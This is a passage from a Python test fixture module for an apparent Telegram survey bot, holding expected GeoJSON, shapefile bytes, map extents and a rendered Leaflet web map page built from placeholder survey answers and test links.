'href="https://telegra.ph/test_path_video36">Click ' 'the link.</a>'}, 'type': 'Feature'}, {'geometry': {'coordinates': [[[[40.0, 10.0], [-40.0, -10.0], [70.0, 20.0], [40.0, 10.0]]]], 'type': 'MultiPolygon'}, 'properties': {'photo': '<a ' 'href="https://telegra.ph/test_path_photo37"><img ' 'id="Pic" ' 'src="https://telegra.ph/test_path_photo37"></a>', 'question': ' question35_1: ' 'answer37_1 question35_2: ' 'answer37_2 ', 'time': '2021-11-20 22:45:00', 'user': 'Name37', 'video': '<a ' 'href="https://telegra.ph/test_path_video37">Click ' 'the link.</a>'}, 'type': 'Feature'}], 'name': 'Places', 'type': 'FeatureCollection'}} @property def data_geom_gjson_point(self): return {'check': 1, 'result': {'crs': {'properties': {'name': 'urn:ogc:def:crs:OGC:1.3:CRS84'}, 'type': 'name'}, 'features': [{'geometry': {'coordinates': [45.0, 45.0], 'type': 'Point'}, 'properties': {'ans_1': 'answer47_1', 'ans_2': 'answer47_2', 'entr_time': '2021-11-20 22:45:00', 'id': 22, 'photo': 'https://telegra.ph/test_path_photo47', 'quest_1': 'question47_1', 'quest_2': 'question47_2', 'survey': 'survey47', 'user_name': 'Name47', 'video': 'https://telegra.ph/test_path_video47'}, 'type': 'Feature'}, {'geometry': {'coordinates': [-45.0, -45.0], 'type': 'Point'}, 'properties': {'ans_1': 'answer47_1', 'ans_2': 'answer47_2', 'entr_time': '2021-11-20 22:45:00', 'id': 23, 'photo': 'None', 'quest_1': 'question47_1', 'quest_2': 'question47_2', 'survey': 'survey47', 'user_name': 'Name47', 'video': 'None'}, 'type': 'Feature'}], 'name': 'Places', 'type': 'FeatureCollection'}} @property def data_geom_gjson_polygon(self): return {'check': 1, 'result': {'crs': {'properties': {'name': 'urn:ogc:def:crs:OGC:1.3:CRS84'}, 'type': 'name'}, 'features': [{'geometry': {'coordinates': [[[[30.0, 30.0], [-30.0, -30.0], [10.0, 20.0], [30.0, 30.0]]]], 'type': 'MultiPolygon'}, 'properties': {'ans_1': 'answer48_1', 'ans_2': 'answer48_2', 'entr_time': '2021-11-20 22:45:00', 'id': 24, 'photo': 'https://telegra.ph/test_path_photo48', 'quest_1': 'question47_1', 'quest_2': 'question47_2', 'survey': 'survey47', 'user_name': 'Name48', 'video': 'https://telegra.ph/test_path_video48'}, 'type': 'Feature'}, {'geometry': {'coordinates': [[[[40.0, 10.0], [-40.0, -10.0], [70.0, 20.0], [40.0, 10.0]]]], 'type': 'MultiPolygon'}, 'properties': {'ans_1': 'answer49_1', 'ans_2': 'answer49_2', 'entr_time': '2021-11-20 22:45:00', 'id': 25, 'photo': 'https://telegra.ph/test_path_photo49', 'quest_1': 'question47_1', 'quest_2': 'question47_2', 'survey': 'survey47', 'user_name': 'Name49', 'video': 'https://telegra.ph/test_path_video49'}, 'type': 'Feature'}], 'name': 'Places', 'type': 'FeatureCollection'}} @property def data_geom_shp_point(self): return {'check': 1, 'dbf': b'\x03y\x0b\x16\x02\x00\x00\x00a\x01\xf5\x01\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'ID\x00\x00\x00\x00\x00\x00\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00USER_NAME\x00\x00C' b'\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00SURVEY\x00\x00\x00\x00\x00C\x00\x00\x00\x00' b'2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00TIME' b'\x00\x00\x00\x00\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00PHOTO\x00\x00\x00' b'\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00VIDEO\x00\x00\x00\x00\x00\x00C' b'\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00QUEST_1\x00\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00ANS_1\x00\x00\x00' b'\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00QUEST_2\x00\x00\x00\x00C' b'\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00ANS_2\x00\x00\x00\x00\x00\x00C\x00\x00\x00\x00' b'2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r 37' b' Name53 ' b' survey53 ' b' 20-Nov-2021 22:45:00 https:' b'//telegra.ph/test_path_photo53 https://telegra.ph/test_' b'path_video53 question53_1 ' b' answer53_1 question53' b'_2 answer53_2 ' b' 38 ' b' Name53 survey53 ' b' 20-Nov-2021 22:45:00 ' b' ' b' question53_1 ' b' answer53_1 ' b' question53_2 ans' b'wer53_2 ', 'shp': b"\x00\x00'\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00N\xe8\x03\x00\x00' b'\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80F\xc0\x00\x00\x00\x00' b'\x00\x80F\xc0\x00\x00\x00\x00\x00\x80F@\x00\x00\x00\x00\x00\x80F@' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x01\x00\x00\x00\n\x01\x00\x00\x00\x00\x00\x00\x00' b'\x00\x80F@\x00\x00\x00\x00\x00\x80F@\x00\x00\x00\x02\x00\x00\x00\n' b'\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80F\xc0\x00\x00\x00\x00' b'\x00\x80F\xc0', 'shx': b"\x00\x00'\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\xe8\x03\x00\x00' b'\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80F\xc0\x00\x00\x00\x00' b'\x00\x80F\xc0\x00\x00\x00\x00\x00\x80F@\x00\x00\x00\x00\x00\x80F@' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x002\x00\x00\x00\n\x00\x00\x00@\x00\x00\x00\n'} @property def data_geom_shp_polygon(self): return {'check': 1, 'dbf': b'\x03y\x0b\x16\x02\x00\x00\x00a\x01\xf5\x01\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'ID\x00\x00\x00\x00\x00\x00\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00USER_NAME\x00\x00C' b'\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00SURVEY\x00\x00\x00\x00\x00C\x00\x00\x00\x00' b'2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00TIME' b'\x00\x00\x00\x00\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00PHOTO\x00\x00\x00' b'\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00VIDEO\x00\x00\x00\x00\x00\x00C' b'\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00QUEST_1\x00\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00ANS_1\x00\x00\x00' b'\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00QUEST_2\x00\x00\x00\x00C' b'\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00ANS_2\x00\x00\x00\x00\x00\x00C\x00\x00\x00\x00' b'2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r 39' b' Name54 ' b' survey53 ' b' 20-Nov-2021 22:45:00 https:' b'//telegra.ph/test_path_photo54 https://telegra.ph/test_' b'path_video54 question53_1 ' b' answer54_1 question53' b'_2 answer54_2 ' b' 40 ' b' Name55 survey53 ' b' 20-Nov-2021 22:45:00 ' b' https://telegra.ph/test_path_photo55 ' b' https://telegra.ph/test_path_video55 question53_1 ' b' answer55_1 ' b' question53_2 ans' b'wer55_2 ', 'shp': b"\x00\x00'\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xaa\xe8\x03\x00\x00' b'\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00D\xc0\x00\x00\x00\x00' b'\x00\x00>\xc0\x00\x00\x00\x00\x00\x80Q@\x00\x00\x00\x00\x00\x00>@' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x01\x00\x00\x008\x05\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00>\xc0\x00\x00\x00\x00\x00\x00>\xc0\x00\x00\x00\x00\x00\x00>@' b'\x00\x00\x00\x00\x00\x00>@\x01\x00\x00\x00\x04\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>@\x00\x00\x00\x00\x00\x00>@' b'\x00\x00\x00\x00\x00\x00>\xc0\x00\x00\x00\x00\x00\x00>\xc0' b'\x00\x00\x00\x00\x00\x00$@\x00\x00\x00\x00\x00\x004@\x00\x00\x00\x00' b'\x00\x00>@\x00\x00\x00\x00\x00\x00>@\x00\x00\x00\x02\x00\x00\x008' b'\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00D\xc0\x00\x00\x00\x00' b'\x00\x00$\xc0\x00\x00\x00\x00\x00\x80Q@\x00\x00\x00\x00\x00\x004@' b'\x01\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00D@\x00\x00\x00\x00\x00\x00$@\x00\x00\x00\x00\x00\x00D\xc0' b'\x00\x00\x00\x00\x00\x00$\xc0\x00\x00\x00\x00\x00\x80Q@' b'\x00\x00\x00\x00\x00\x004@\x00\x00\x00\x00\x00\x00D@\x00\x00\x00\x00' b'\x00\x00$@', 'shx': b"\x00\x00'\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\xe8\x03\x00\x00' b'\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00D\xc0\x00\x00\x00\x00' b'\x00\x00>\xc0\x00\x00\x00\x00\x00\x80Q@\x00\x00\x00\x00\x00\x00>@' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x002\x00\x00\x008\x00\x00\x00n\x00\x00\x008'} class Result: """Container with the result data for the comparison in test_process.py""" num = 0 @property def result_ques_ans(self): return {'question': [(f'question{self.num}_1',), (f'question{self.num}_2',)], 'answer': [(f'answer{self.num}_1',), (f'answer{self.num}_2',), (f'answer{self.num}_1',), (f'answer{self.num}_2',), (f'answer{self.num + 1}_1',), (f'answer{self.num + 1}_2',), (f'answer{self.num + 2}_1',), (f'answer{self.num + 2}_2',)], 'count': 2} @property def result_save_survey(self): return [None, f'survey{self.num}`', f'survey{self.num}`survey{self.num}`', f'survey{self.num}`survey{self.num}`survey{self.num}`'] @property def result_credentials(self): return {'NAME': 'test_db', 'USER': 'bot', 'PASSWORD': '1234', 'HOST': 'localhost', 'PORT': '5432'} @property def result_states(self): return {'INIT': 1, 'SURVEY1': 2, 'SURVEY2': 3, 'SURVEY3': 4, 'COLLECT': 5, 'POINT': 6, 'POLYGON': 7, 'TRANSIT': 8, 'MEDIA1': 9, 'MEDIA2': 10, 'QUESTION1': 11, 'QUESTION2': 12, 'ANSWER': 13, 'CHECK1': 14, 'CHECK2': 15, 'SUBMIT': 16, 'RESULT': 17} @property def result_point(self): return [45.0, 45.0] @property def result_polygon(self): return [[46.0, 45.0], [47.0, 46.0], [48.0, 47.0], [45.0, 48.0], [46.0, 45.0]] @property def result_count(self): return 2 @property def result_get_q_count(self): return 29 @property def result_set_ans_check(self): return 1 @property def result_ans_check(self): return [1, 'null'] @property def result_answer_insert(self): return [[2, 3], [('answer17`_1',), ('answer17`_2',), ('answer17`_3',)]] @property def result_get_pp(self): return '54.0 54.0, 45.0 46.0, 50.0 56.0' @property def result_append_pp(self): return ['54.0 54.0,58.0 48.0', '58.0 48.0'] @property def result_get_count(self): return [3, 0] @property def result_point_manual(self): return ('POINT(179 -89)', datetime.datetime.now().strftime("%Y")) @property def result_polygon_create(self): return ("POLYGON((54.35 54,45 46,50 56,54.35 54))", datetime.datetime.now().strftime("%Y")) @property def result_save_media(self): return 'https://telegra.ph/test_path' @property def result_media_path(self): return 'https://telegra.ph/test_path' @property def result_extent(self): return {'point': 'BOX(-45 -45,45 45)', 'polygon': 'BOX(-40 -30,70 30)'} @property def result_triple_map_center(self): return [{'center_long': 12.5, 'center_lat': 0.0, 'point1_long': -45.0, 'point1_lat': -45.0, 'point2_long': 70.0, 'point2_lat': 45.0}, {'center_long': 0.0, 'center_lat': 0.0, 'point1_long': -45.0, 'point1_lat': -45.0, 'point2_long': 45.0, 'point2_lat': 45.0}, {'center_long': 15.0, 'center_lat': 0.0, 'point1_long': -40.0, 'point1_lat': -30.0, 'point2_long': 70.0, 'point2_lat': 30.0}] @property def result_distance(self): return [15038278, 13324945, 13389850] @property def result_get_scale(self): return [19, 6, 1] @property def result_gjson_shp(self): return [[572000, 371], [372, 573000]] @property def result_source_webmap(self): return {'point': {'crs': {'properties': {'name': 'urn:ogc:def:crs:OGC:1.3:CRS84'}, 'type': 'name'}, 'features': [{'geometry': {'coordinates': [45.0, 45.0], 'type': 'Point'}, 'properties': {'photo': '<a ' 'href="https://telegra.ph/test_path_photo26"><img ' 'id="Pic" ' 'src="https://telegra.ph/test_path_photo26"></a>', 'question': ' question26_1: ' 'answer26_1 question26_2: ' 'answer26_2 ', 'time': '2021-11-20 22:45:00', 'user': 'Name26', 'video': '<a ' 'href="https://telegra.ph/test_path_video26">Click ' 'the link.</a>'}, 'type': 'Feature'}, {'geometry': {'coordinates': [-45.0, -45.0], 'type': 'Point'}, 'properties': {'photo': 'None', 'question': ' question26_1: ' 'answer26_1 question26_2: ' 'answer26_2 ', 'time': '2021-11-20 22:45:00', 'user': 'Name26', 'video': 'None '}, 'type': 'Feature'}], 'name': 'Places', 'type': 'FeatureCollection'}, 'polygon': {'crs': {'properties': {'name': 'urn:ogc:def:crs:OGC:1.3:CRS84'}, 'type': 'name'}, 'features': [{'geometry': {'coordinates': [[[[30.0, 30.0], [-30.0, -30.0], [10.0, 20.0], [30.0, 30.0]]]], 'type': 'MultiPolygon'}, 'properties': {'photo': '<a ' 'href="https://telegra.ph/test_path_photo27"><img ' 'id="Pic" ' 'src="https://telegra.ph/test_path_photo27"></a>', 'question': ' question26_1: ' 'answer27_1 question26_2: ' 'answer27_2 ', 'time': '2021-11-20 22:45:00', 'user': 'Name27', 'video': '<a ' 'href="https://telegra.ph/test_path_video27">Click ' 'the link.</a>'}, 'type': 'Feature'}, {'geometry': {'coordinates': [[[[40.0, 10.0], [-40.0, -10.0], [70.0, 20.0], [40.0, 10.0]]]], 'type': 'MultiPolygon'}, 'properties': {'photo': '<a ' 'href="https://telegra.ph/test_path_photo28"><img ' 'id="Pic" ' 'src="https://telegra.ph/test_path_photo28"></a>', 'question': ' question26_1: ' 'answer28_1 question26_2: ' 'answer28_2 ', 'time': '2021-11-20 22:45:00', 'user': 'Name28', 'video': '<a ' 'href="https://telegra.ph/test_path_video28">Click ' 'the link.</a>'}, 'type': 'Feature'}], 'name': 'Places', 'type': 'FeatureCollection'}} @property def result_webmap(self): return (b'<!doctype html>\n<html lang="en">\n<head>\n <link rel="stylesheet" href=' b'"https://unpkg.com/leaflet@1.7.1/dist/leaflet.css"\n integrity="' b'sha512-xodZBNTC5n17Xt2atTPuE1HxjVMSvLVW9ocqUKLsCC5CXdbqCmblAshOMAS6/keqq/sMZ' b'MZ19scR4PsZChSR7A=="\n crossorigin=""/>\n <style>\n body' b'{background-color: #3d85c6;}\n #main {\n height: 84vh;\n ' b' width: 90vw;\n margin: 0;\n position: abs' b'olute;\n top: 50%;\n left: 50%;\n -ms-tran' b'sform: translate(-50%, -50%);\n transform: translate(-50%, -50' b'%);\n }\n .mapid{\n height: 79vh;\n widt' b'h: 90vw;\n }\n #Pic{\n width: 100%;\n }\n' b' #topbar{ \n margin-left: auto;\n ' b'margin-right: auto;\n left: 0;\n right: 0;\n ' b' text-align: center; \n padding: 1px;\n color: whi' b'te; \n }\n </style>\n <script src="https://unpkg.com' b'/leaflet@1.7.1/dist/leaflet.js"\n integrity="sha512-XQoYMqMTK8' b'LvdxXYG3nZ448hOEQiglfqkJs1NOQV44cWnUrBc8PkAOcXy20w0vlaXaVUearIOBhiXZ5V3ynxwA' b'=="\n crossorigin=""></script>\n <title>Telegram bot</title>' b'\n</head>\n<body>\n <div id = main>\n <div id="topbar">Name35, ' b'click an object for the popup</div>\n <div id="mapid" class="mapid"></' b'div>\n </div> \n<script>\n "use strict"\n var Source_point =' b" {'crs': {'properties': {'name': 'urn:ogc:def:crs:OGC:1.3:CRS84'}, 'type': '" b"name'}, 'features': [{'geometry': {'coordinates': [45.0, 45.0], 'type': 'Poi" b'nt\'}, \'properties\': {\'photo\': \'<a href="https://telegra.ph/test_path' b'_photo35"><img id="Pic" src="https://telegra.ph/test_path_photo35"></a>\'' b", 'question': ' question35_1: answer35_1 question35_2: answer35_2 '" b", 'time': '2021-11-20 22:45:00', 'user': 'Name35', 'video': '<a href" b'="https://telegra.ph/test_path_video35">Click the link.</a>\'}, \'type\': \'' b"Feature'}, {'geometry': {'coordinates': [-45.0, -45.0], 'type': 'Point'}, 'p" b"roperties': {'photo': 'None', 'question': ' question35_1: answer35_1 q" b"uestion35_2: answer35_2 ', 'time': '2021-11-20 22:45:00', 'user': 'Name35" b"', 'video': 'None '}, 'type': 'Feature'}], 'name': 'Places', 'type': 'Featur" b"eCollection'};\n var Source_polygon = {'crs': {'properties': {'name': " b"'urn:ogc:def:crs:OGC:1.3:CRS84'}, 'type': 'name'}, 'features': [{'geometry':" b" {'coordinates': [[[[30.0, 30.0], [-30.0, -30.0], [10.0, 20.0], [30.0, 30.0]" b']]], \'type\': \'MultiPolygon\'}, \'properties\': {\'photo\': \'<a href="' b'https://telegra.ph/test_path_photo36"><img id="Pic" src="https://telegra.ph/' b'test_path_photo36"></a>\', \'question\': \' question35_1: answer36_1 q' b"uestion35_2: answer36_2 ', 'time': '2021-11-20 22:45:00', 'user': 'Name36" b'\', \'video\': \'<a href="https://telegra.ph/test_path_video36">Click the li' b"nk.</a>'}, 'type': 'Feature'}, {'geometry': {'coordinates': [[[[40.0, 10.0]," b" [-40.0, -10.0], [70.0, 20.0], [40.0, 10.0]]]], 'type': 'MultiPolygon'}, 'pr" b'operties\': {\'photo\': \'<a href="https://telegra.ph/test_path_photo37"><im' b'g id="Pic" src="https://telegra.ph/test_path_photo37"></a>\', \'question\':' b" ' question35_1: answer37_1 question35_2: answer37_2 ', 'time': '20" b'21-11-20 22:45:00\', \'user\': \'Name37\', \'video\': \'<a href="https://tel' b'egra.ph/test_path_video37">Click the link.</a>\'}, \'type\': \'Feature\'}' b"], 'name': 'Places', 'type': 'FeatureCollection'};\n var map = L.map('" b"mapid', {\n center: [0.000000,12.500000],\n zoom: 1\n });\n" b" var CartoDB_Positron = L.tileLayer('https://{s}.basemaps.cartocdn.com/li" b'ght_all/{z}/{x}/{y}{r}.png\', {\n attribution: \'© <a href="htt' b'ps://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors © ' b'\' +\n \'<a href="https://carto.com/attributions">CARTO</a>\'' b",\n subdomains: 'abcd',\n maxZoom: 19\n }).addTo(map);\n " b" var Esri_WorldImagery = L.tileLayer('https://server.arcgisonline.com/ArcGIS" b"/rest/services/World_Imagery/'+\n 'MapServer/tile/{z}/{y}/{x}', {\tattr" b"ibution: 'Tiles © Esri — Source: Esri, i-cubed, USDA, USGS, AEX,'" b"+\n 'GeoEye, Getmapping, Aerogrid, IGN, IGP, UPR-EGP, and the GIS User" b" Community'\n });\n var Points = L.geoJSON(Source_point,{\n po" b'intToLayer: function (feature, latlng) {\n return L.marker(lat' b"lng, {icon: L.icon({\n iconUrl: 'https://telegra.ph/fi" b"le/bc24c001d928ca59c469d.png',\n iconSize: [20, 20],\n " b' iconAnchor: [10, 10],\n popupAnchor' b': [0, -10]\n })})\n },\n onEachFeature: functi' b'on(feature, layer) {\n layer.bindPopup(`\n Nam' b'e: ${feature.properties.user}\n \n Date/T' b'ime (non-local): ${feature.properties.time}\n \n ' b' Question: ${feature.properties.question} \n ' b' Latitude: ${feature.geometry.coordinates[1].toFixed(4)}</' b'i>,\n Longitude: ${feature.geometry.coordinates[0].t' b'oFixed(4)}\n \n Video: ${feature.prop' b'erties.video} \n \n Photo: ${fe' b'ature.properties.photo}\n `);\n }\n }).addTo(map);' b'\n\n var Polygons = L.geoJSON(Source_polygon,\n {style: {},\n ' b' onEachFeature: function(feature, layer) {\n layer.bindPopup' b'(`\n Name: ${feature.properties.user}\n <b' b'r>\n Date/Time (non-local): ${feature.properties.time}\n' b' \n Question: ${feature.properties.quest' b'ion}\n Video: ${feature.properties.video} \n ' b' \n Photo: ${feature.properties.photo}\n ' b' `);\n } \n }).addTo(map);\n\n var baseMaps ' b'= {\n "Map": CartoDB_Positron,\n "Imagery": Esri_WorldImager' b'y\n };\n var vectorL = {\n "Points": Points,\n "Polygons' b'":Polygons\n };\n L.control.layers(baseMaps,vectorL).addTo(map);\n ' b' var count = 0\n var scbr = L.control.scale({imperial:false})\n map.' b'addEventListener("zoomend",function (){\n if (map.getZoom() > 5 &&' b' count === 0){\n scbr.addTo(map);\n count ++;\n ' b' }\n else if (map.getZoom() <= 5) {\n scbr.remove();\n ' b' count = 0;\n }\n })\n</script>\n</body>\n</html> ') @property def result_gjson_point(self): return {'check': 1, 'result': {'crs': {'properties': {'name': 'urn:ogc:def:crs:OGC:1.3:CRS84'}, 'type': 'name'}, 'features': [{'geometry': {'coordinates': [45.0, 45.0], 'type': 'Point'}, 'properties': {'ans_1': 'answer44_1', 'ans_2': 'answer44_2', 'entr_time': '2021-11-20 22:45:00', 'id': 22, 'photo': 'https://telegra.ph/test_path_photo44', 'quest_1': 'question44_1', 'quest_2': 'question44_2', 'survey': 'survey44', 'user_name': 'Name44', 'video': 'https://telegra.ph/test_path_video44'}, 'type': 'Feature'}, {'geometry': {'coordinates': [-45.0, -45.0], 'type': 'Point'}, 'properties': {'ans_1': 'answer44_1', 'ans_2': 'answer44_2', 'entr_time': '2021-11-20 22:45:00', 'id': 23, 'photo': 'None', 'quest_1': 'question44_1', 'quest_2': 'question44_2', 'survey': 'survey44', 'user_name': 'Name44', 'video': 'None'}, 'type': 'Feature'}], 'name': 'Places', 'type': 'FeatureCollection'}} @property def result_gjson_polygon(self): return {'check': 1, 'result': {'crs': {'properties': {'name': 'urn:ogc:def:crs:OGC:1.3:CRS84'}, 'type': 'name'}, 'features': [{'geometry': {'coordinates': [[[[30.0, 30.0], [-30.0, -30.0], [10.0, 20.0], [30.0, 30.0]]]], 'type': 'MultiPolygon'}, 'properties': {'ans_1': 'answer45_1', 'ans_2': 'answer45_2', 'entr_time': '2021-11-20 22:45:00', 'id': 24, 'photo': 'https://telegra.ph/test_path_photo45', 'quest_1': 'question44_1', 'quest_2': 'question44_2', 'survey': 'survey44', 'user_name': 'Name45', 'video': 'https://telegra.ph/test_path_video45'}, 'type': 'Feature'}, {'geometry': {'coordinates': [[[[40.0, 10.0], [-40.0, -10.0], [70.0, 20.0], [40.0, 10.0]]]], 'type': 'MultiPolygon'}, 'properties': {'ans_1': 'answer46_1', 'ans_2': 'answer46_2', 'entr_time': '2021-11-20 22:45:00', 'id': 25, 'photo': 'https://telegra.ph/test_path_photo46', 'quest_1': 'question44_1', 'quest_2': 'question44_2', 'survey': 'survey44', 'user_name': 'Name46', 'video': 'https://telegra.ph/test_path_video46'}, 'type': 'Feature'}], 'name': 'Places', 'type': 'FeatureCollection'}} @property def result_geom_gjson_point(self): return (b'{"crs": {"properties": {"name": "urn:ogc:def:crs:OGC:1.3:CRS84"}, "type": "n' b'ame"}, "features": [{"geometry": {"coordinates": [45.0, 45.0], "type": "Poin' b't"}, "properties": {"ans_1": "answer47_1", "ans_2": "answer47_2", "entr_time' b'": "2021-11-20 22:45:00", "id": 22, "photo": "https://telegra.ph/test_path_p' b'hoto47", "quest_1": "question47_1", "quest_2": "question47_2", "survey": "su' b'rvey47", "user_name": "Name47", "video": "https://telegra.ph/test_path_video' b'47"}, "type": "Feature"}, {"geometry": {"coordinates": [-45.0, -45.0], "type' b'": "Point"}, "properties": {"ans_1": "answer47_1", "ans_2": "answer47_2", "e' b'ntr_time": "2021-11-20 22:45:00", "id": 23, "photo": "None", "quest_1": "que' b'stion47_1", "quest_2": "question47_2", "survey": "survey47", "user_name": "N' b'ame47", "video": "None"}, "type": "Feature"}], "name": "Places", "type": "Fe' b'atureCollection"}') @property def result_geom_gjson_polygon(self): return (b'{"crs": {"properties": {"name": "urn:ogc:def:crs:OGC:1.3:CRS84"}, "type": "n' b'ame"}, "features": [{"geometry": {"coordinates": [[[[30.0, 30.0], [-30.0, -3' b'0.0], [10.0, 20.0], [30.0, 30.0]]]], "type": "MultiPolygon"}, "properties": ' b'{"ans_1": "answer48_1", "ans_2": "answer48_2", "entr_time": "2021-11-20 22:4' b'5:00", "id": 24, "photo": "https://telegra.ph/test_path_photo48", "quest_1":' b' "question47_1", "quest_2": "question47_2", "survey": "survey47", "user_name' b'": "Name48", "video": "https://telegra.ph/test_path_video48"}, "type": "Feat' b'ure"}, {"geometry": {"coordinates": [[[[40.0, 10.0], [-40.0, -10.0], [70.0, ' b'20.0], [40.0, 10.0]]]], "type": "MultiPolygon"}, "properties": {"ans_1": "an' b'swer49_1", "ans_2": "answer49_2", "entr_time": "2021-11-20 22:45:00", "id": ' b'25, "photo": "https://telegra.ph/test_path_photo49", "quest_1": "question47_' b'1", "quest_2": "question47_2", "survey": "survey47", "user_name": "Name49", ' b'"video": "https://telegra.ph/test_path_video49"}, "type": "Feature"}], "name' b'": "Places", "type": "FeatureCollection"}') @property def result_shp_point(self): return {'check': 1, 'dbf': b'\x00ID\x00\x00\x00\x00\x00\x00\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00USER_NAME\x00\x00C' b'\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00SURVEY\x00\x00\x00\x00\x00C\x00\x00\x00\x00' b'2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00TIME' b'\x00\x00\x00\x00\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00PHOTO\x00\x00\x00' b'\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00VIDEO\x00\x00\x00\x00\x00\x00C' b'\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00QUEST_1\x00\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00ANS_1\x00\x00\x00' b'\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00QUEST_2\x00\x00\x00\x00C' b'\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00ANS_2\x00\x00\x00\x00\x00\x00C\x00\x00\x00\x00' b'2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r 37' b' Name50 ' b' survey50 ' b' 20-Nov-2021 22:45:00 https:' b'//telegra.ph/test_path_photo50 https://telegra.ph/test_' b'path_video50 question50_1 ' b' answer50_1 question50' b'_2 answer50_2 ' b' 38 ' b' Name50 survey50 ' b' 20-Nov-2021 22:45:00 ' b' ' b' question50_1 ' b' answer50_1 ' b' question50_2 ans' b'wer50_2 ', 'shp': b"\x00\x00'\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 